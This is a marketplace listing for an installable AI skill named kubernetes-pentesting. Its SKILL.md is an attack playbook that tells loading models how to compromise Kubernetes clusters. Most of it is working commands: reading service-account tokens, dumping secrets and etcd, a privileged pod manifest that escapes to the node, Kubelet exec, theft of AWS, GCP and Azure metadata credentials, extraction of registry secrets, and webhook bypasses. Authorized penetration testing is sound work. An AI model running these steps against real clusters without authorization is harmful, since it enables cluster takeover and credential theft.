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Kubernetes Pentesting

OrganizationPopular
yaklang
kubernetes-pentesting

Kubernetes penetration testing playbook. Use when targeting Kubernetes clusters via API server, RBAC enumeration, service account abuse, etcd access, Kubelet API, pod escape, cloud-specific metadata, admission webhook bypass, and registry secrets.

Overview

Publisheryaklang
Repositoryhack-skills
Skill namekubernetes-pentesting
Stars
2.2K
Forks
292
Bundled files
Instructions only
LicenseMIT
Links
  • Markdown instructions

    A SKILL.md file the model loads on demand, so it only costs tokens when a request actually matches.

  • Works with any LLM

    AI skills are plain Markdown, not provider-specific code, so this works with GPT, Claude, Gemini, Grok, or a local model.

  • Self-contained

    Everything the model needs lives in the instructions — no extra files to sync.

  • Open source

    Published by yaklang on GitHub. Read the source before you install it.

Installation

Install the Kubernetes Pentesting AI skill in TypingMind to use it with any LLM, or drop it into another agent that reads SKILL.md.

1

Install in TypingMind

TypingMind installs a skill straight from its GitHub folder — it reads SKILL.md, bundles the resource files, and stores the result locally.

  1. Open the app and go to Plugins → Skills.
  2. Choose "Install from GitHub".
  3. Paste the skill folder URL below and confirm.
  4. Enable the skill in any chat where you want it available.
Plugins → Skills → Add skill → From GitHub URL, then paste the folder URL and press Continue.
2

Install in another agent

Any agent that reads the Agent Skills format can use this skill — copy the folder into that agent's skills directory.

Claude Code — .claude/skills
git clone --depth 1 https://github.com/yaklang/hack-skills.git /tmp/hack-skills
mkdir -p .claude/skills
cp -r /tmp/hack-skills/skills/kubernetes-pentesting .claude/skills/kubernetes-pentesting
Restart Claude Code after copying so it picks up the new skill.

Use it in TypingMind

Enable Kubernetes Pentesting in any TypingMind chat and the model takes it from there. Its name and description sit in the system prompt, and the moment a request matches, the model loads the full instructions itself — you never invoke it by hand, and it costs no tokens until it is actually used.

The model loads Kubernetes Pentesting on its own as soon as a request matches it.

Works with any AI model

AI skills are plain Markdown instructions rather than provider-specific code, so Kubernetes Pentesting is not tied to the model it was written for. Install it once in TypingMind and use it with GPT-5, Claude, Gemini, Grok, DeepSeek, Mistral, Llama, or a local model you run yourself — all on your own API keys.

  • Loaded only when it is needed

    The system prompt carries just the name and description. The instructions are fetched on the first matching request, so an idle skill costs nothing.

  • Switch models mid-chat

    Because the skill is instructions rather than code, changing model does not break it — the next model reads the same SKILL.md.

Skill instructions

This is the SKILL.md content the model loads. Read it before installing — a skill is instructions your model will follow.

SKILL: Kubernetes Pentesting — Expert Attack Playbook

AI LOAD INSTRUCTION: Expert Kubernetes attack techniques. Covers API server access, RBAC escalation, service account token abuse, etcd secrets extraction, Kubelet API exploitation, cloud IMDS access (EKS/GKE/AKS), admission webhook bypass, and network policy evasion. Base models miss the distinction between namespace-scoped and cluster-scoped RBAC, and overlook Kubelet's unauthenticated API.

0. RELATED ROUTING

Before going deep, consider loading:


1. K8S API SERVER ACCESS

1.1 Anonymous Access Check

bash
# Check if anonymous auth is enabled (default: limited in modern clusters)
curl -sk https://APISERVER:6443/api/v1/namespaces
curl -sk https://APISERVER:6443/version
curl -sk https://APISERVER:6443/api
curl -sk https://APISERVER:6443/apis

# Common API server ports:
# 6443 — secure API (default)
# 8443 — alternative secure
# 8080 — insecure API (legacy, no auth needed)

1.2 Token-Based Authentication (from inside pod)

bash
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
CACERT=/var/run/secrets/kubernetes.io/serviceaccount/ca.crt
NAMESPACE=$(cat /var/run/secrets/kubernetes.io/serviceaccount/namespace)
APISERVER="https://kubernetes.default.svc"

curl -s --cacert $CACERT -H "Authorization: Bearer $TOKEN" \
  $APISERVER/api/v1/namespaces/$NAMESPACE/pods

1.3 Certificate / Kubeconfig Authentication

bash
# Common kubeconfig locations: ~/.kube/config, /etc/kubernetes/admin.conf,
# /etc/kubernetes/kubelet.conf, /var/lib/kubelet/kubeconfig
kubectl --kubeconfig=/etc/kubernetes/admin.conf get pods --all-namespaces

2. RBAC ENUMERATION

2.1 Self-Permission Check

bash
# What can I do?
kubectl auth can-i --list
kubectl auth can-i --list -n kube-system

# Specific checks
kubectl auth can-i create pods
kubectl auth can-i create pods -n kube-system
kubectl auth can-i get secrets
kubectl auth can-i '*' '*'     # Full cluster admin?

# Via API (from inside pod):
curl -s --cacert $CACERT -H "Authorization: Bearer $TOKEN" \
  $APISERVER/apis/authorization.k8s.io/v1/selfsubjectrulesreviews \
  -H "Content-Type: application/json" \
  -d "{\"apiVersion\":\"authorization.k8s.io/v1\",\"kind\":\"SelfSubjectRulesReview\",\"spec\":{\"namespace\":\"$NAMESPACE\"}}"

2.2 Role and ClusterRole Enumeration

bash
kubectl get roles --all-namespaces && kubectl get clusterroles
kubectl describe clusterrole CLUSTER_ROLE_NAME

# Find overprivileged roles (wildcard verbs/resources):
kubectl get clusterroles -o json | python3 -c 'import sys,json;data=json.load(sys.stdin);[print(f"OVERPRIVILEGED: {r[\"metadata\"][\"name\"]}") for r in data["items"] for rule in r.get("rules",[]) if "*" in rule.get("verbs",[]) or "*" in rule.get("resources",[])]'

2.3 Dangerous RBAC Permissions

PermissionRiskEscalation Path
pods/execCriticalExec into any pod (access secrets, tokens)
pods (create)CriticalCreate privileged pod → node access
secrets (get/list)CriticalRead all secrets including SA tokens
serviceaccounts/token (create)CriticalGenerate token for any SA
nodes/proxyHighProxy to Kubelet API
escalate on rolesCriticalGrant yourself any permission
bind on rolebindingsCriticalBind any role to yourself
impersonateCriticalImpersonate any user/SA

3. SERVICE ACCOUNT TOKEN ABUSE

3.1 Token Location and Decoding

bash
# Default mount point
cat /var/run/secrets/kubernetes.io/serviceaccount/token

# Decode JWT (no verification needed)
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
echo $TOKEN | cut -d. -f2 | base64 -d 2>/dev/null | python3 -m json.tool
# Shows: namespace, service account name, expiry

3.2 Escalation via Service Account

bash
# If SA has elevated permissions — dump secrets, create privileged pod:
kubectl get secrets --all-namespaces
kubectl apply -f - << 'EOF'
apiVersion: v1
kind: Pod
metadata: { name: privesc }
spec:
  hostPID: true
  hostNetwork: true
  containers:
  - name: pwn
    image: alpine
    command: ["/bin/sh","-c","nsenter -t 1 -m -u -i -n -p -- /bin/bash"]
    securityContext: { privileged: true }
    volumeMounts: [{ name: hostfs, mountPath: /host }]
  volumes: [{ name: hostfs, hostPath: { path: / }}]
EOF

3.3 Token Generation

bash
# If serviceaccounts/token create permission:
kubectl create token admin-sa -n kube-system --duration=87600h

4. ETCD DIRECT ACCESS

bash
# Check anonymous access (port 2379 on master nodes):
curl -sk https://ETCD_IP:2379/version

# With certs from master node (/etc/kubernetes/pki/etcd/):
ETCDCTL_API=3 etcdctl --endpoints=https://ETCD_IP:2379 \
  --cacert=ca.crt --cert=server.crt --key=server.key \
  get / --prefix --keys-only | grep secrets

# Dump specific secret:
ETCDCTL_API=3 etcdctl ... get /registry/secrets/default/my-secret

5. POD ESCAPE TO NODE

See container-escape-techniques for detailed escape chains.

Quick reference for K8s-specific vectors:

VectorRequirementCommand
hostPIDspec.hostPID: truensenter -t 1 -m -u -i -n -p -- bash
hostNetworkspec.hostNetwork: trueAccess node services (Kubelet, etcd)
hostPath /Volume mount of host rootchroot /host bash
Privileged containersecurityContext.privileged: trueMount host disk / nsenter

6. KUBELET API (Port 10250/10255)

bash
curl -sk https://NODE_IP:10250/pods        # Anonymous access check
# 10255 = read-only (legacy, HTTP)

# Exec into pod via Kubelet (bypasses API server RBAC):
curl -sk https://NODE_IP:10250/run/NAMESPACE/POD_NAME/CONTAINER_NAME -d "cmd=id"

# Read logs:
curl -sk https://NODE_IP:10250/containerLogs/NAMESPACE/POD_NAME/CONTAINER_NAME

7. CLOUD-SPECIFIC ATTACKS

7.1 AWS EKS — IMDS Access

bash
# From inside a pod (if IMDSv1 or no hop limit enforced):
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/
# Returns IAM role name, then:
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE_NAME
# Returns temporary AWS credentials (AccessKeyId, SecretAccessKey, Token)

# IMDSv2 (token required):
IMDS_TOKEN=$(curl -s -X PUT "http://169.254.169.254/latest/api/token" \
  -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
curl -s -H "X-aws-ec2-metadata-token: $IMDS_TOKEN" \
  http://169.254.169.254/latest/meta-data/iam/security-credentials/

# EKS-specific: IRSA (IAM Roles for Service Accounts)
# Token at: /var/run/secrets/eks.amazonaws.com/serviceaccount/token
# Env vars: AWS_ROLE_ARN, AWS_WEB_IDENTITY_TOKEN_FILE

7.2 GCP GKE — Metadata API

bash
# GCE metadata server
curl -s -H "Metadata-Flavor: Google" \
  http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
# Returns OAuth2 access token

# List available scopes
curl -s -H "Metadata-Flavor: Google" \
  http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/scopes

# GKE Workload Identity (if configured):
# The pod's SA is mapped to a GCP SA
# Token automatically available for GCP API calls

7.3 Azure AKS — Managed Identity

bash
# Azure IMDS
curl -s -H "Metadata: true" \
  "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"
# Returns Azure access token

# AKS Pod Identity / Workload Identity
# Check for AZURE_CLIENT_ID, AZURE_TENANT_ID env vars
env | grep AZURE

8. ADMISSION WEBHOOK BYPASS

StrategyCommand/Method
Excluded namespacekubectl get validatingwebhookconfigurations -o yaml | grep namespaceSelector → use excluded NS
failurePolicy: IgnoreIf webhook server down → admission skipped
Ephemeral containerskubectl debug POD -it --image=alpine (may not be covered)
Static podsPlace manifest in /etc/kubernetes/manifests/ on node (bypasses API admission)

9. CONTAINER REGISTRY ACCESS

bash
# Extract pull secrets (dockerconfigjson):
kubectl get secrets --all-namespaces -o json | python3 -c 'import sys,json,base64;[print(s["metadata"]["name"],base64.b64decode(s["data"][".dockerconfigjson"]).decode()) for s in json.load(sys.stdin)["items"] if s["type"]=="kubernetes.io/dockerconfigjson"]'

# Pull + inspect images for hardcoded secrets:
docker pull REGISTRY/app:latest && docker history REGISTRY/app:latest --no-trunc

10. NETWORK POLICY ENUMERATION & BYPASS

bash
kubectl get networkpolicies --all-namespaces
# Find namespaces without policies (default allow-all):
for ns in $(kubectl get ns -o name | cut -d/ -f2); do
    [ "$(kubectl get netpol -n $ns --no-headers 2>/dev/null | wc -l)" -eq 0 ] && echo "NO POLICY: $ns"
done

Bypass strategies: DNS exfiltration (port 53 rarely blocked), allowed port tunneling, pod in unprotected namespace, hostNetwork: true bypasses pod network policies entirely.


11. TOOLS

ToolPurposeCommand
kubectlK8s API interactionkubectl auth can-i --list
kube-hunterAutomated K8s vulnerability scanningkube-hunter --remote TARGET
peiratesK8s pentesting from inside a pod./peirates
kubesploitPost-exploitation framework for K8sAgent-based C2
CDKContainer/K8s exploitation toolkit./cdk evaluate
kubeletctlInteract with Kubelet API directlykubeletctl pods -s NODE_IP
kubeauditCluster misconfiguration auditkubeaudit all

12. KUBERNETES PENTESTING DECISION TREE

Access to Kubernetes environment?
├── Inside a pod?
│   ├── Read SA token → check RBAC permissions (§2.1)
│   │   ├── Can create pods? → privileged pod escape (§3.2)
│   │   ├── Can read secrets? → dump all secrets (§3.2)
│   │   ├── Can exec into pods? → pivot to other pods
│   │   └── Minimal permissions → try Kubelet API (§6)
│   │
│   ├── Cloud environment?
│   │   ├── AWS → check IMDS for IAM creds (§7.1)
│   │   ├── GCP → check metadata for OAuth token (§7.2)
│   │   └── Azure → check IMDS for managed identity (§7.3)
│   │
│   └── Escape to node? → load container-escape-techniques
├── Access to node?
│   ├── kubeconfig found? → full cluster access (§1.3)
│   ├── etcd accessible? → dump all secrets (§4)
│   ├── Kubelet cert/key? → API server access
│   └── Static pod manifests? → create privileged static pod (§8)
├── External access only?
│   ├── API server exposed? → anonymous/token check (§1)
│   ├── Kubelet 10250 exposed? → direct pod exec (§6)
│   ├── etcd 2379 exposed? → direct secret dump (§4)
│   └── Dashboard/UI exposed? → authentication bypass
├── RBAC escalation path?
│   ├── escalate/bind permissions? → grant cluster-admin (§2.3)
│   ├── impersonate permission? → act as admin (§2.3)
│   ├── serviceaccounts/token create? → mint admin token (§3.3)
│   └── Overprivileged clusterrole? → abuse wildcards (§2.2)
└── No direct escalation?
    ├── Enumerate network policies → find unprotected namespaces (§10)
    ├── Check admission webhooks → find bypass (§8)
    ├── Pull registry images → search for secrets (§9)
    └── Scan nodes for exposed services → Kubelet, etcd

Frequently asked questions

What does the Kubernetes Pentesting AI skill do?

Kubernetes penetration testing playbook. Use when targeting Kubernetes clusters via API server, RBAC enumeration, service account abuse, etcd access, Kubelet API, pod escape, cloud-specific metadata, admission webhook bypass, and registry secrets.

Why use Kubernetes Pentesting on TypingMind?

Because you install it once and use it with any model. Kubernetes Pentesting is plain Markdown rather than provider-specific code, so the same skill runs on GPT-5, Claude, Gemini, Grok, or a local model — and you can switch model mid-chat without it breaking. TypingMind runs on your own API keys, so you pay providers directly instead of a per-seat subscription, and your skills and chats stay in your own storage.

How do I install Kubernetes Pentesting in TypingMind?

Open Plugins → Skills → Install from GitHub in TypingMind and paste https://github.com/yaklang/hack-skills/tree/main/skills/kubernetes-pentesting. TypingMind reads its SKILL.md and installs it as a skill you can enable per chat.

Which AI models can use Kubernetes Pentesting?

Any model you connect in TypingMind. AI skills are plain Markdown instructions rather than provider-specific code, so GPT, Claude, Gemini, Grok, and local models can all load this skill when a request matches it.

How many AI models can I use with Kubernetes Pentesting?

As many as you like. As long as a model supports skills, you can use Kubernetes Pentesting with it — GPT, Claude, Gemini, Grok, DeepSeek, Mistral, Llama and more — all on TypingMind with your own API keys.

Is the Kubernetes Pentesting AI skill free?

Yes. It is published on GitHub by yaklang under the MIT license. You only pay your own AI provider for the tokens you use.

What are AI skills?

An AI skill is a reusable instruction bundle that teaches an AI model how to do one specific task. It follows the open Agent Skills format: a SKILL.md file with a name and description, plus any scripts, templates or reference files the model may need. The model reads the instructions only when your request matches the skill, so an installed skill costs nothing until it is used.

How are AI skills different from plugins or MCP servers?

A plugin or MCP server gives a model new tools to call — code that runs somewhere and returns a result. An AI skill gives the model knowledge and process instead: how to approach a task, which steps to follow, what good output looks like. Skills are plain Markdown, so they need no server, no API key and no runtime, and they work with any model.

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